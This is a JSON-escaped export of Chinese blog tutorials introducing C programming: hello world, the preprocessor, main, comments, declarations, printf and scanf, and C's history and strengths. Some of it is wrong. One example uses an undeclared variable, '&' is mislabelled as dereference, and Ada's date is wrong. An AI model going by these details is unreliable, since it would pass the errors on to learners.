使用传值调用来传递参数。一般来说,这意味着函数内的代码不能改变用于调用函数的实际参数。(这个地方看不懂也无所谓,后面会明朗的。总之只要记住第一种方式就好)\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%BA%8C%EF%BC%9A%E5%87%BD%E6%95%B0/"},{"title":"C语言之一:基础知识","time":"2020-12-17T05:26:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e大家好啊,今天我就和大家聊一聊C语言程序的编写。\u003c/p\u003e\u003cp\u003e首先的首先,请一定记得将你的输入法调至英文模式,确保你输入的符号是半角符号。不然,你就掉进了初学者的第一个大坑:符号的大大大大大大大大大大大大大大大大坑!\u003c/p\u003e\u003cp\u003e那么我们正式开始。首先,我们来看一个例子。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e//Example-1-1-Hello,World!\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main(void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    int year=2020;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    /* 我的第一个 C 程序 */\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   printf(\u0026#34;Hello, World %d!\\n\u0026#34;,year);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   return 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是一个C程序的源代码。如果想让它运行起来,我们得把它编译成为可执行程序。这个“编译”的过程,就像是翻译:你用的是C语言,电脑却只能听得懂二进制语言,要让电脑听得懂,你就必须把你写的源码“翻译”成电脑能认识的二进制代码。这个工作的完成,需要借助于“编译器”的功能。\u003c/p\u003e\u003cp\u003e你可能会想了:既然还要翻译一遍,为什么不直接用“二进制语言”来写程序呢?这个“翻译官”会不会把我写的代码翻译错啊?首先,你当然可以用二进制来直接编写程序。但是这有两个缺点:第一个,你的开发效率会非常低。第二个,你的源代码非常不便于修改和阅读。你想想,屏幕上只有一大片0和1,你肯定得看好长一阵子才能弄明白这是什么意思——哪怕它是你自己写的也一样。所以汇编语言就诞生了。但是它太过于抽象,而且可移植性也不是很强,所以还是得高级语言来干写程序的活——我们现在用的C语言就是高级语言。当然,这个“高级”不是说汇编语言不好,而是说相对于汇编语言直接操作底层,C语言是在软件层面操作的。其次,这个“翻译官”不会出错,因为它是按照你写的源码“字字对译”的。所以,如果出错,那一般是源码中出现错误(也就是bug)。\u003c/p\u003e\u003cp\u003e那么,我们现在就需要安装一个编译器。在Windows平台上,我们常用的编译器是Mingw。要使用它,我们需要用命令行操作——太麻烦了,所以我们一般用IDE(集成开发环境)这里我推荐大家用\u003ca href=\"http://xzc.198424.com/dev-cpp_5.11_setup.zip\"\u003eDev-cpp\u003c/a\u003e(点击下载)。当然,有能力的同学也可以尝试用VS Code搭建C语言开发环境。\u003c/p\u003e\u003cp\u003e安装好之后,先在你的电脑里新建一个文件夹,专门用来放置源代码和程序。然后,打开Dev-cpp,新建一个文件,并保存在刚才的文件夹(下文称作“工作区”),然后在里面输入上面的源码。最后,点击运行,按照提示操作就可以。嗯,差不多就是这样了。\u003c/p\u003e\u003cp\u003e你会看到屏幕上出现了一个黑框,可能是一闪而过的。如果是这样的话,请在return 0;的前面加上一行:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egetchar();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在再看看,黑框里是不是出现了Hello,World!呢?如果是,那么恭喜你,你写出了你的第一个C语言程序。\u003c/p\u003e\u003cp\u003e好,让我们回过头来,看看这段源代码里都是什么。\u003c/p\u003e\u003cp\u003e整个程序结构明显,由两大块构成。第一块是以#开头的那一行,第二块则是int main(void)和后面花括号所包住的一块。我们把第一块叫做“预处理指令”,第二块叫做“main函数”。绝大多数程序都由这两大块构成。\u003c/p\u003e\u003ch4 id=\"「预处理指令和预处理器」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8C%E9%A2%84%E5%A4%84%E7%90%86%E6%8C%87%E4%BB%A4%E5%92%8C%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8%E3%80%8D\" class=\"headerlink\" title=\"「预处理指令和预处理器」\"\u003e\u003c/a\u003e「预处理指令和预处理器」\u003c/h4\u003e\u003cp\u003e预处理器就是用来处理预处理指令的工具。C 预处理器(C Preprocessor)不是编译器的组成部分,但是它是编译过程中一个单独的步骤。换句话说,C 预处理器只不过是一个文本替换工具而已,它们会指示编译器在实际编译之前完成所需的预处在这个例子中,C预处理器将用名为stdio.h的文件内的所有内容替换这一行指令(很像复制粘贴吧)。\u003c/p\u003e\u003cp\u003e所有的预处理器命令都是以井号(#)开头。它必须是这一行指令的第一个非空字符,为了增强可读性,预处理器指令应从第一列(也就是这一行的开头)开始换句话说,预处理指令前最好不要留空格。目前我们接触到的预处理指令只有#include一个,它的作用就是内容替换。后面我们还会接触更多。\u003c/p\u003e\u003ch4 id=\"「main-函数」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8Cmain-%E5%87%BD%E6%95%B0%E3%80%8D\" class=\"headerlink\" title=\"「main()函数」\"\u003e\u003c/a\u003e「main()函数」\u003c/h4\u003e\u003cp\u003e函数是一组一起执行一个任务的语句。函数是构成C程序的基本模块。每个C程序都至少有一个函数,即主函数 main() ,所有简单的程序都可以定义其他额外的函数。\u003c/p\u003e\u003cp\u003emain()在c语言里,是一个程序的起点。一个程序一般会从main()里的第一行语句开始执行,一直到最后一行的return()函数结束程序。的确,main是一个极其普通的名称,但是这是唯一的选择。C程序一定从main()函数开始执行(目前不必考虑例外情况)。除了main()函数,你可以任意命名其他函数,而且main()函数必须是开始的函数。那一对圆括号是用于识别main()是一个函数。main前的int则是main()函数的返回类型。int表明main()函数返回的值是整数。返回到哪里?操作系统。后面我们会细说这个问题。\u003c/p\u003e\u003ch4 id=\"「注释」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8C%E6%B3%A8%E9%87%8A%E3%80%8D\" class=\"headerlink\" title=\"「注释」\"\u003e\u003c/a\u003e「注释」\u003c/h4\u003e\u003cp\u003e在程序中,被/**/两个符号括起来的部分是程序的注释。写注释能让他人(包括自己)更容易明白你写的程序。由//符号开头的一行也是注释。下面是一些有效注释的例子:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/*我是注释。*/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e//巧了我也是。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/*我也是注释,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e不过被分成两行。*/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/*\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e我还是注释。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*/\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"「花括号、函数体和块」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8C%E8%8A%B1%E6%8B%AC%E5%8F%B7%E3%80%81%E5%87%BD%E6%95%B0%E4%BD%93%E5%92%8C%E5%9D%97%E3%80%8D\" class=\"headerlink\" title=\"「花括号、函数体和块」\"\u003e\u003c/a\u003e「花括号、函数体和块」\u003c/h4\u003e\u003cp\u003e在main()函数后面跟着一对花括号,里面框着main()函数的所有语句,这些语句合称函数体。一般而言,所有的C函数都使用花括号标记函数体的开始和结束。这是规定,不能省略。只有花括号能起这种作用,圆括号(())和方括号([])都不行。\u003c/p\u003e\u003cp\u003e花括号还可以用来把函数的多条语句合并为一个单元或块。如果你熟悉 Pascal, ADA, Modula-2或者 Algol(不过估计大家都没听过,毕竟是很老的东西……记得没错的话,ADA都是上世纪50年代的东西了),就会明白花括号在C语言中的作用相类似于这些语言中的begin和end。\u003c/p\u003e\u003ch4 id=\"「声明」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8C%E5%A3%B0%E6%98%8E%E3%80%8D\" class=\"headerlink\" title=\"「声明」\"\u003e\u003c/a\u003e「声明」\u003c/h4\u003e\u003cp\u003e程序中有这么一行:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eint year=2020;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一句声明语句,声明了一个int(整数)类型的,叫做year的变量。int是C语言的一个关键字,也就是说,你在给你的函数,变量之类的东西命名时,你必须避免使用这个名称。year则是一个标识符,也就是一个变量、函数或其他实体的名称。所以,声明,就是把一个标识符和计算机内存中的一个特定位置联系起来,同时也确定了储存在某位置的信息类型或数据类型。\u003c/p\u003e\u003cp\u003eC语言的一个很重要的特性就是,所有的变量必须先声明才能使用。并且,声明要放到块的顶部。另外,C语言的标识符在命名时,只能用小写字母、大写字母、数字和下划线(_)来命名。而且,名称的第一个字符不能是数字。另外,在C语言中,只有大小写不同的两个标识符是不同的,即“大小写敏感”。比如,STARS,Stars,stars就是三个不同的标识符。在声明标识符的时候,应该有明确的含义,就像例子中的year,能让人一眼看出这个变量是存储年份的。另外,关于标识符的长度限制,一般的标识符长度是63个字节,而外部标识符的长度是31个字节(外部标识符后面会解释)。总之,在命名标识符时,要做到简洁明了。\u003c/p\u003e\u003ch4 id=\"「printf-函数和scanf-函数」\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/#%E3%80%8Cprintf-%E5%87%BD%E6%95%B0%E5%92%8Cscanf-%E5%87%BD%E6%95%B0%E3%80%8D\" class=\"headerlink\" title=\"「printf()函数和scanf()函数」\"\u003e\u003c/a\u003e「printf()函数和scanf()函数」\u003c/h4\u003e\u003cp\u003eprintf()函数是格式化输出函数, 一般用于向输出设备按规定式样输出消息(比如显示遗传字符)。printf()函数的语法为:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eprintf(\u0026#34;格式化字符串\u0026#34;,参数表);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中格式化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出;另一部分是格式化规定字符, 以”%”开头, 后跟一个或几个规定字符, 用来确定输出内容式样(比如本例中的%d就是。其实说通俗一点,这些就是占位符,表示这里要输出一个数字,具体是多少要在后面的参量表里找)。参量表是需要输出的一系列参数, 其个数务必与格式化字符串所阐明的输出参数个数一样多(就是前的%开头的占位符数量必须和后面的参量数量一样多), 各参数之间用”,”分开, 且顺序逐一对应,不然将会出现意想不到的过失。\u003c/p\u003e\u003cp\u003e常用的格式化规定字符还有:%s(字符串),%f(小数,也称作浮点数),%c(单个的字母)等等。另外格式化字符串中还会出现制表符,比如\\n表示换行,\\t表示缩进等等,我们会在后面详细说。\u003c/p\u003e\u003cp\u003escanf()函数大致类似,下面我举一个例子。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e//Example-2-Print\u0026amp;Scan\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main(void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   int age; //声明一个叫做age的整型变量\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    printf(\u0026#34;Input your age:\u0026#34;,year);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    scanf(\u0026#34;%d\u0026#34;,\u0026amp;age);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   printf(\u0026#34;You are %d years old!\u0026#34;,age);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   return 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看出,scanf()的用法和printf差不多,只不过在要赋值的变量名前要加上\u0026amp;符号(解引用符号,具体在指针中会讲到)。\u003c/p\u003e\u003cp\u003e那么第一次教程就是这样了。如你所见,东西确实不少,因为我想用尽可能短的篇幅帮大家入门C语言编程,感受C的快乐,而又限于个人水平,最后就写成了这样。如果有不完善的地方欢迎指出,谢谢。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E4%B9%8B%E4%B8%80%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"},{"title":"C语言编程二三事","time":"2020-12-16T16:22:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e作为计算机界长久不衰的编程语言,C语言到底有什么独到的优势呢? 如果想学习,那么学习路线是什么呢? 学会了之后,能写出些什么程序呢? 这些,就是本文想要告诉你的。 \u003c/p\u003e\u003ch4 id=\"C语言的起源\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#C%E8%AF%AD%E8%A8%80%E7%9A%84%E8%B5%B7%E6%BA%90\" class=\"headerlink\" title=\"C语言的起源\"\u003e\u003c/a\u003eC语言的起源\u003c/h4\u003e\u003cp\u003e1972年,贝尔实验室的丹尼斯·里奇(Dannis Ritch)和肯·汤普逊(Ken Thomson)在开发UNIX操作系统时设计了C语言。然而,C语言并不完全是里奇突发奇想而来,他是在B语言(汤普逊发明)的基础上进行设计。C语言的设计初衷是将其作为程序员使用的一种编程工具,因此,其主要目标是成为有用的语言。\u003c/p\u003e\u003cp\u003e各个编程语言的侧重点都不完全相同。例如,Pascal语言的主要目标是为更好地学习编程原理提供扎实的基础;而BASIC的主要目标是开发出类似英文的语言,让不熟悉计算机的学生轻松学习编程。这些目标固然很重要,但是随着计算机的迅猛发展,他们已经不再是主流语言。然而,最初为程序员设计开发的C语言,现在已成为首选的编程语言之一。 \u003c/p\u003e\u003ch4 id=\"为什么是C语言\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E4%B8%BA%E4%BB%80%E4%B9%88%E6%98%AFC%E8%AF%AD%E8%A8%80\" class=\"headerlink\" title=\"为什么是C语言\"\u003e\u003c/a\u003e为什么是C语言\u003c/h4\u003e\u003cp\u003e在过去的50多年里,C语言已经成长为最重要、最流行的编程语言之一。它的成长归功于用过它的人都对它很满意。虽然现在很多人都转而使用其他编程语言,但是C语言仍凭借自身实力从众多编程语言中脱颖而出。尤其是在一些特殊场合(如嵌入式开发,操作系统底层的编写等)C语言更是有着无可替代的地位。以下列出了C语言较为突出的几点优势。\u003c/p\u003e\u003ch4 id=\"高效性\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E9%AB%98%E6%95%88%E6%80%A7\" class=\"headerlink\" title=\"高效性\"\u003e\u003c/a\u003e高效性\u003c/h4\u003e\u003cp\u003e在设计上,C语言充分利用了当前计算机的优势,因此C程序相对更紧凑,而且运行速度很快。实际上,C语言具有通常是汇编语言才具有的微调控制能力,可以根据具体情况微调程序以获得最大运行速度或最有效地使用内存(顺便一提,绝大多数情况下,C++都可以看作C的超集,而C的运行速度通常要快于C++)。\u003c/p\u003e\u003ch4 id=\"可移植性\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E5%8F%AF%E7%A7%BB%E6%A4%8D%E6%80%A7\" class=\"headerlink\" title=\"可移植性\"\u003e\u003c/a\u003e可移植性\u003c/h4\u003e\u003cp\u003eC是可移植的语言。对于一个编程语言来讲,移植可能是最麻烦的事情。C语言是可移植方面的佼佼者。从你的电子表到超级计算机,许多计算机的体系结构都可以使用C编译器(一种把C语言转换成计算机内部指令的程序)。但是要注意,程序中针对特殊硬件设备或操作系统特殊功能编写的部分,通常是不可移植的。\u003c/p\u003e\u003ch4 id=\"强大而灵活\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E5%BC%BA%E5%A4%A7%E8%80%8C%E7%81%B5%E6%B4%BB\" class=\"headerlink\" title=\"强大而灵活\"\u003e\u003c/a\u003e强大而灵活\u003c/h4\u003e\u003cp\u003eC语言功能强大而灵活。例如,大家最为所熟知的Windows7操作系统,其内核的绝大部分都是由C语言完成的,剩下的则是由汇编语言完成的。不仅如此,其他语言的许多编译器和解释器都是用C语言编写的。C程序可以用于解决物理学和工程学的问题,甚至可用于制作电影的动画特效。\u003c/p\u003e\u003ch4 id=\"面向程序员\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E9%9D%A2%E5%90%91%E7%A8%8B%E5%BA%8F%E5%91%98\" class=\"headerlink\" title=\"面向程序员\"\u003e\u003c/a\u003e面向程序员\u003c/h4\u003e\u003cp\u003e程序员利用C可以访问硬件、操控内存中的位。C语言有丰富的运算符,能让程序员简洁地表达自己的意图。C没有Pascal严谨,但是却比C++的限制多。这样的灵活性既是优点也是缺点。优点是,许多任务用C来处理都非常简洁(如,转换数据的格式);缺点是,你可能会犯一些莫名其妙的错误,这些错误不可能在其他语言中出现。C语言在提供更多自由的同时,也让使用者承担了更大的责任。\u003c/p\u003e\u003cp\u003e另外,大多数C实现都有一个大型的库,包含众多有用的C函数。这些函数用于处理程序员经常需要解决的问题。\u003c/p\u003e\u003ch4 id=\"缺点\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E7%BC%BA%E7%82%B9\" class=\"headerlink\" title=\"缺点\"\u003e\u003c/a\u003e缺点\u003c/h4\u003e\u003cp\u003e当然,人无完人,金无足赤。C语言也有一些缺点。例如前面提到的,要享受用C语言自由编程的乐趣,就必须承担更多的责任。特别是,C语言使用指针,而涉及指针的编程错误往往难以察觉。有句话说得好:想拥有自由就必须时刻保持警惕。\u003c/p\u003e\u003cp\u003e关于C语言,还有一项比赛,是只为C语言举办过的:年度混乱代码大赛。这正是因为C语言紧凑简洁,结合了大量的运算符,以至于我们也可以编写出让人极其费解的代码。虽然没必要但是试试也无妨。\u003c/p\u003e\u003cp\u003e瑕不掩瑜,C语言的优点比缺点多得多。\u003c/p\u003e\u003ch4 id=\"如何学习\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#%E5%A6%82%E4%BD%95%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" 